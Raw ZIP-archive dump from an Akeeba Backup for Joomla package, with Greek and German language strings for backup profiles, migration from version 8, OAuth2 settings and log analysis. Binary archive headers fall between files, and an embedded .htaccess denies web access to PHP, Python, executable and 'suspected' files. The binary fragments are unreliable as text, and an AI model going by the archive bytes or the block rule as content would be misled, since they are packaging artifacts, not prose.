COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Εμφανίζει τα προφίλ αντιγράφων ασφαλείας Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Δεν είναι δυνατή η τροποποίηση του προφίλ %s· το προφίλ δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Δεν είναι δυνατή η τροποποίηση του προφίλ #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Το προφίλ #%s τροποποιήθηκε επιτυχώς."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> θα τροποποιήσει ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Τροποποιεί ένα προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="Ο αριθμητικός αναγνωριστικός αριθμός του προφίλ προς τροποποίηση"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Περιγραφή για το νέο προφίλ αντιγράφου ασφαλείας. Χρησιμοποιεί την περιγραφή του παλιού προφίλ εάν δεν καθοριστεί."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Να έχει το νέο προφίλ αντιγράφου ασφαλείας εικονίδιο γρήγορης δημιουργίας αντιγράφου ασφαλείας με ένα κλικ; Αντιγράφει τη ρύθμιση του παλιού προφίλ εάν δεν καθοριστεί."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Δεν είναι δυνατή η τροποποίηση του προφίλ %s· το προφίλ δεν βρέθηκε."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Δεν είναι δυνατή η επαναφορά του προφίλ #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Το προφίλ #%s επαναφέρθηκε επιτυχώς."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> θα επαναφέρει ένα προφίλ Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Επαναφέρει ένα προφίλ Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="Ο αριθμητικός αναγνωριστικός αριθμός του προφίλ προς τροποποίηση"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Επαναφορά φίλτρων;"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Επαναφορά διαμόρφωσης;"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Δεν βρέθηκε η επιλογή "%s"."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> θα λάβει την τιμή μιας επιλογής σε επίπεδο συνιστώσας Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Λαμβάνει την τιμή μιας επιλογής σε επίπεδο συνιστώσας Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="Το κλειδί επιλογής προς ανάκτηση"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Μορφή εξόδου: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> θα εμφανίσει τις επιλογές σε επίπεδο συνιστώσας Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Εμφανίζει τις επιλογές σε επίπεδο συνιστώσας Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Ρύθμιση επιλογής συνιστώσας "%s" σε "%s""
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> θα ορίσει την τιμή μιας επιλογής σε επίπεδο συνιστώσας Akeeba Backup.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Ορίζει την τιμή μιας επιλογής σε επίπεδο συνιστώσας Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="Το κλειδί επιλογής προς ορισμό"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="Η τιμή επιλογής προς ορισμό"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Μορφή εξόδου: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Μετεγκατάσταση από Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Μετεγκαθιστά τις ρυθμίσεις από Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> θα μετεγκαταστήσει τις ρυθμίσεις και τις αρχειοθήκες αντιγράφων ασφαλείας από Akeeba Backup 8, εάν είναι εγκατεστημένο. ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ΑΥΤΟ ΘΑ ΑΝΤΙΚΑΤΑΣΤΗΣΕΙ ΟΛΕΣ ΤΙΣ ΤΡΕΧΟΥΣΕΣ ΡΥΘΜΙΣΕΙΣ ΣΑΣ ΧΩΡΙΣ ΕΠΙΒΕΒΑΙΩΣΗ. Αυτή η εντολή προορίζεται για χρήση μόνο από υπεύθυνα ενήλικα άτομα.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Το Akeeba Backup 8 δεν είναι εγκατεστημένο στον ιστότοπό σας."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Μετεγκατάσταση ρυθμίσεων από παλαιότερη έκδοση Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Εντοπίσαμε ότι έχετε εγκατεστημένη μια παλαιότερη έκδοση Akeeba Backup στον ιστότοπό σας. Κάντε κλικ στο παρακάτω κουμπί για να επιχειρήσετε αυτόματη εισαγωγή των ρυθμίσεων, του ιστορικού αντιγράφων ασφαλείας και των αρχειοθηκών αντιγράφων ασφαλείας που βρίσκονται στον προεπιλεγμένο κατάλογο εξόδου. Διαβάστε προσεκτικά την τεκμηρίωση για να κατανοήσετε τους κινδύνους και τους περιορισμούς αυτής της λειτουργίας."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Μετεγκατάσταση ρυθμίσεων"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Έχετε ήδη μετεγκαταστήσει τις ρυθμίσεις σας από παλαιότερη έκδοση Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Έχετε ήδη μετεγκαταστήσει τις ρυθμίσεις σας από παλαιότερη έκδοση Akeeba Backup. Εάν θέλετε να εκτελέσετε ξανά τη μετεγκατάσταση κάντε κλικ στο «Μετεγκατάσταση ρυθμίσεων». Εάν είστε ικανοποιημένοι με τη μετεγκατάσταση κάντε κλικ στο «Δείξτε μου τι πρέπει να απεγκαταστήσω» για να ανοίξετε τη σελίδα «Επεκτάσεις: Διαχείριση» του Joomla στην παλιά επέκταση Akeeba Backup· μπορείτε στη συνέχεια να την επιλέξετε και να κάνετε κλικ στο Κατάργηση εγκατάστασης για να την αφαιρέσετε."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Εάν η απεγκατάσταση της παλαιάς έκδοσης Akeeba Backup αποτύχει, κάντε τα εξής. Πρώτα, εγκαταστήστε την πιο πρόσφατη έκδοση Akeeba Backup 8. Στη συνέχεια, εγκαταστήστε την πιο πρόσφατη έκδοση Akeeba Backup για Joomla 4. Επιστρέψτε σε αυτή τη σελίδα και κάντε κλικ στο «Δείξτε μου τι πρέπει να απεγκαταστήσω». Θα μπορέσετε να το απεγκαταστήσετε κανονικά. Σημειώστε ότι τα μηνύματα σχετικά με αδυναμία απεγκατάστασης FOF ή FEF μπορούν να αγνοηθούν· το Akeeba Backup 8 θα απεγκατασταθεί ανεξάρτητα από αυτά τα μηνύματα."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Δείξτε μου τι πρέπει να απεγκαταστήσω"

COM_AKEEBABACKUP_UPGRADE="Μετεγκατάσταση ρυθμίσεων"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Αυτή η λειτουργία θα αντικαταστήσει όλες τις υπάρχουσες ρυθμίσεις σας και το ιστορικό αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="Οι απαιτήσεις μετεγκατάστασης δεν πληρούνται"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="Δεν εντοπίσαμε συμβατή έκδοση Akeeba Backup. Εάν επιχειρήσετε να εκτελέσετε τη μετεγκατάσταση τώρα, ενδέχεται να αντιμετωπίσετε σφάλματα και / ή απώλεια δεδομένων. Μη συνεχίσετε εκτός εάν σας έχει ρητά υποδειχθεί να το κάνετε από τους προγραμματιστές μας. Αγνοείτε αυτή τη σοβαρή προειδοποίηση με δική σας ευθύνη!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Έχετε ήδη μετεγκαταστήσει τις ρυθμίσεις σας"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Έχετε ήδη εκτελέσει τη μετεγκατάσταση στο παρελθόν. Εάν επιχειρήσετε να εκτελέσετε ξανά τη μετεγκατάσταση, ενδέχεται να αντιμετωπίσετε σφάλματα και / ή απώλεια δεδομένων. Μη συνεχίσετε εκτός εάν σας έχει ρητά υποδειχθεί να το κάνετε από τους προγραμματιστές μας. Αγνοείτε αυτή τη σοβαρή προειδοποίηση με δική σας ευθύνη!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Το Akeeba Backup για Joomla! θα εισάγει ρυθμίσεις διαμόρφωσης, προφίλ αντιγράφων ασφαλείας, ιστορικό αντιγράφων ασφαλείας και <em>ορισμένες</em> από τις αρχειοθήκες αντιγράφων ασφαλείας (αυτές στο <code>administrator/components/com_akeeba/backup</code>) από παλαιότερη έκδοση Akeeba Backup (7.x ή 8.x) που είναι ήδη εγκατεστημένη στον ιστότοπό σας, αντικαθιστώντας όλα τα υπάρχοντα δεδομένα. Θα πρέπει να χρησιμοποιήσετε αυτή τη λειτουργία μόνο την πρώτη φορά που εγκαθιστάτε το Akeeba Backup για Joomla! για να αποφύγετε απώλεια δεδομένων."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Θυμηθείτε να απεγκαταστήσετε την παλιά έκδοση Akeeba Backup μετά την ολοκλήρωση της μετεγκατάστασης. Χρησιμοποιήστε το στοιχείο πλευρικής γραμμής του Joomla που ονομάζεται «Σύστημα». Βρείτε τον πίνακα Διαχείριση και κάντε κλικ στο Επεκτάσεις. Βρείτε και επιλέξτε την επέκταση <em>πακέτο Akeeba Backup</em> τύπου «Πακέτο». Στη συνέχεια κάντε κλικ στο κουμπί Κατάργηση εγκατάστασης στη γραμμή εργαλείων."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Προχωρήστε με τη μετεγκατάσταση"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="Η μετεγκατάσταση ρυθμίσεων ολοκληρώθηκε επιτυχώς."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="Η μετεγκατάσταση ρυθμίσεων δεν ολοκληρώθηκε. Ίσως χρειαστεί να εισαγάγετε χειροκίνητα τα προφίλ αντιγράφων ασφαλείας και / ή να μεταφέρετε και εισαγάγετε αρχειοθήκες αντιγράφων ασφαλείας."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Μεταφόρτωση στο Microsoft OneDrive (Φάκελος Εφαρμογής)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Μεταφορτώνει την αρχειοθήκη αντιγράφου ασφαλείας στο Microsoft OneDrive, μέσα στον φάκελο εφαρμογής για Akeeba Backup (<code>Apps/Akeeba Backup</code>). Αυτή η επιλογή έχει περισσότερους περιορισμούς από τις άλλες επιλογές μεταφόρτωσης στο OneDrive, αλλά είναι λιγότερο πιθανό να προκαλέσει προβλήματα με ορισμένους λογαριασμούς που παρουσιάζουν προβλήματα ελέγχου ταυτότητας με την άλλη ενσωμάτωση που προσφέρουμε."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Υποκατάλογος στο <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="Ο υποκατάλογος μέσα στον φάκελο εφαρμογής Akeeba Backup (<code>Apps/Akeeba Backup</code>) στο Microsoft OneDrive σας στον οποίο θα μεταφορτωθούν οι αρχειοθήκες αντιγράφων ασφαλείας. Χρησιμοποιήστε κάθετες (<code>/</code>), όχι ανάποδες κάθετες (<code>\\<code>), και πάντα βάζετε μια κάθετο μπροστά. Σωστό: <code>/some/thing</code>. Λάθος: <code>some\\thing</code>. Μία μόνο κάθετος σημαίνει ότι οι αρχειοθήκες θα αποθηκευτούν στη ρίζα του δίσκου. ΜΗΝ συμπεριλάβετε τη διαδρομή προς τον φάκελο εφαρμογής (<code>Apps/Akeeba Backup</code>)· αυτό προστίθεται αυτόματα από το ίδιο το Microsoft OneDrive!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="Βοηθοί OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Μόνο για την επαγγελματική έκδοση. Σας επιτρέπει να χρησιμοποιείτε προσαρμοσμένη URL βοηθού OAuth2 αντί για αυτή που παρέχεται από την Akeeba Ltd. Διαβάστε την τεκμηρίωση."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="Βοηθός OAuth2 για Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Χρησιμοποιήστε το Box.com με τη δική σας εφαρμογή API OAuth2 αντί για αυτή που παρέχεται από την Akeeba Ltd. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="Το Client ID που λαμβάνετε από το Box.com για την εφαρμογή API σας."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="Το Client Secret που λαμβάνετε από το Box.com για την εφαρμογή API σας."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="Βοηθός OAuth2 για Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Χρησιμοποιήστε το Dropbox με τη δική σας εφαρμογή API OAuth2 αντί για αυτή που παρέχεται από την Akeeba Ltd. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="Το Client ID που λαμβάνετε από το Dropbox για την εφαρμογή API σας."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="Το Client Secret που λαμβάνετε από το Dropbox για την εφαρμογή API σας."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="Βοηθός OAuth2 για Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Χρησιμοποιήστε το Google Drive με τη δική σας εφαρμογή API OAuth2 αντί για αυτή που παρέχεται από την Akeeba Ltd. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="Το Client ID που λαμβάνετε από την Κονσόλα Google Cloud για την εφαρμογή API σας."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="Το Client Secret που λαμβάνετε από την Κονσόλα Google Cloud για την εφαρμογή API σας."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="Βοηθός OAuth2 για OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Χρησιμοποιήστε το OneDrive με τη δική σας εφαρμογή API OAuth2 αντί για αυτή που παρέχεται από την Akeeba Ltd. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="Το Client ID που λαμβάνετε από το OneDrive για την εφαρμογή API σας."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="Το Client Secret που λαμβάνετε από το OneDrive για την εφαρμογή API σας."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Θα χρειαστείτε τις παρακάτω URL."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="URL Επιστροφής Κλήσης"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="URL Βοηθού OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="URL Ανανέωσης OAuth2"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="Βοηθός OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Επιλέξτε ποιο σύνολο URL βοηθού OAuth2 θα χρησιμοποιήσετε. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Παρέχεται από την Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Προσαρμοσμένο"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="URL Βοηθού OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="Η πλήρης URL για τον βοηθό ελέγχου ταυτότητας OAuth2. Διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="URL Ανανέωσης OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="Η πλήρης διεύθυνση URL για τον βοηθό ανανέωσης διακριτικού OAuth2. Παρακαλώ διαβάστε την τεκμηρίωση."
PK     \Sʉ        language/el-GR/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \     '  language/de-DE/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="Die beliebteste Joomla!&trade; Backup-Komponente"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Backup"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Ermöglicht das Erstellen von Backups mit Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Konfigurieren"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Ermöglicht das Konfigurieren von Akeeba Backup-Profilen und die Verwendung der integrierten Wiederherstellung (falls verfügbar)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Herunterladen"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Ermöglicht das Herunterladen, Hochladen und Verwalten von Akeeba Backup-Archiven sowie die Verwendung des Website-Transfer-Assistenten (falls verfügbar)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>für Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>für Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Kontrollbereich"
COM_AKEEBABACKUP_CONFIGURATION="Profilkonfiguration"
COM_AKEEBABACKUP_BACKUP="Jetzt sichern"
COM_AKEEBABACKUP_MANAGE="Backups verwalten"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Keines)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Kontrollbereich"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="Die Hauptseite von Akeeba Backup, mit der Sie Backups konfigurieren, erstellen, verwalten und wiederherstellen können."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Backup"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Ein Backup erstellen"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Backup-Profil erzwingen"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Wählen Sie das Backup-Profil aus, zu dem vor der Erstellung eines Backups gewechselt werden soll. Wählen Sie „(Keines)", um das aktuelle Backup-Profil zu verwenden, egal welches es ist."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Sofort starten"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="Soll das Backup sofort starten? Wenn ja, hat der Benutzer keine Möglichkeit, eine Backup-Beschreibung und Kommentare einzugeben."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Symbolleiste ausblenden"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="Soll die Symbolleiste mit den Schaltflächen Hilfe und Kontrollbereich ausgeblendet werden?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="Rückkehr-URL"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Geben Sie eine interne URL ein, zu der nach Abschluss des Backups zurückgekehrt werden soll. Zum Beispiel: Geben Sie <code>index.php</code> ein, um zum Joomla-Kontrollbereich zurückzukehren, oder <code>index.php%3Foption%26com_akeeba</code>, um zum Kontrollbereich von Akeeba Backup zurückzukehren. <br/> <strong>WARNUNG</strong> Aufgrund der Funktionsweise des Joomla! Menü-Managers MUSS die eingegebene URL URL-kodiert sein. Sie können dies tun, indem Sie den Menüpunkt <em>zweimal hintereinander</em> speichern. Dies ist ein bekannter Fehler / eine fehlende Funktion in Joomla! selbst."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Konfiguration"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Das aktuell aktive Backup-Profil konfigurieren."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Backups verwalten"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Backup-Versuche verwalten, einschließlich der Auswahl zur Wiederherstellung eines älteren Backups."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Neuestes Backup wiederherstellen"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Das neueste Backup wiederherstellen, das mit einem bestimmten Backup-Profil erstellt wurde. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Backup-Profil"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Das neueste Backup wiederherstellen, das mit diesem Backup-Profil erstellt wurde. <strong>WICHTIG!</strong> Es wird nur nach dem neuesten Backup gesucht, das mit diesem Profil erstellt wurde. Das Backup-Archiv MUSS auf Ihrem Server vorhanden sein. Wenn Sie es gelöscht haben oder es extern gespeichert ist, erhalten Sie einen Fehler. Die Wiederherstellung extern gespeicherter Backups erfordert, dass Sie zuerst zur Seite „Backups verwalten" gehen und diese zurück auf Ihren Server holen."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Website-Transfer-Assistent"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Ermöglicht die Wiederherstellung des neuesten Backups an einem anderen Ort/Server. <strong>WICHTIG!</strong> Es wird nur nach dem neuesten erstellten Backup gesucht. Das Backup-Archiv MUSS auf Ihrem Server vorhanden sein. Wenn Sie es gelöscht haben oder es extern gespeichert ist, werden Sie aufgefordert, ein neues Backup zu erstellen. Die Übertragung extern gespeicherter Backups erfordert, dass Sie zuerst zur Seite „Backups verwalten" gehen und diese zurück auf Ihren Server holen."
PK     \H|]= ]= #  language/de-DE/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Problembehandlung - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="Protokollanalyse abgeschlossen"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Erkannter Fehler"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Wenn Sie nicht verstehen, was der obige Fehler bedeutet, und Sie ein aktives Support-Abonnement auf unserer Website haben, stellen Sie bitte eine Support-Anfrage mit dem gesamten Text dieser Seite. Das wird uns helfen, Ihnen so effizient wie möglich zu helfen. Vielen Dank!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Wenn die oben vorgeschlagene Lösung Ihnen nicht geholfen hat, Ihr Problem zu lösen, und Sie ein aktives Support-Abonnement auf unserer Website haben, stellen Sie bitte eine Support-Anfrage ein, die Folgendes enthält: 1. eine ZIP-Datei mit Ihrer Backup-Protokolldatei; und 2. den Text auf dieser Seite. Bitte fügen Sie <em>nur</em> diese Informationen nicht ein, das macht unsere Antworten langsamer und ungenauer. Versuchen Sie auch, Ihr Backup-Problem ausführlicher zu beschreiben, z. B. warum Sie glauben, dass ein Problem vorliegt, wann das Problem begann aufzutreten, welche Korrekturmaßnahmen Sie selbst ergriffen haben und alle Informationen, die Ihrer Meinung nach relevant sind, um uns zu helfen, besser zu verstehen, was vor sich geht."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Mögliche Lösung:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="ALICE hat seine Protokollanalyse abgeschlossen. Insgesamt wurden %d verschiedene Prüfungen durchgeführt."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="Wir haben ein schwerwiegendes Problem erkannt, das möglicherweise dazu geführt hat, dass Ihr Backup fehlgeschlagen ist."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="Es wurden keine Backup-Probleme erkannt."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Wir haben nur einige kleinere Probleme erkannt, die in der Regel nicht zum Scheitern des Backups führen."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Erkannte Warnungen"
COM_AKEEBABACKUP_ALICE_ANALYZE="Protokoll analysieren"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Bitte warten. Ihr Protokoll wird in Kürze analysiert."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Dateisystemfehler prüfen"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Große Verzeichnisse"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Die folgenden Verzeichnisse enthalten sehr viele Elemente: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="Sie sollten die Scan-Engine auf <strong>Large Site Scanner</strong> umstellen"
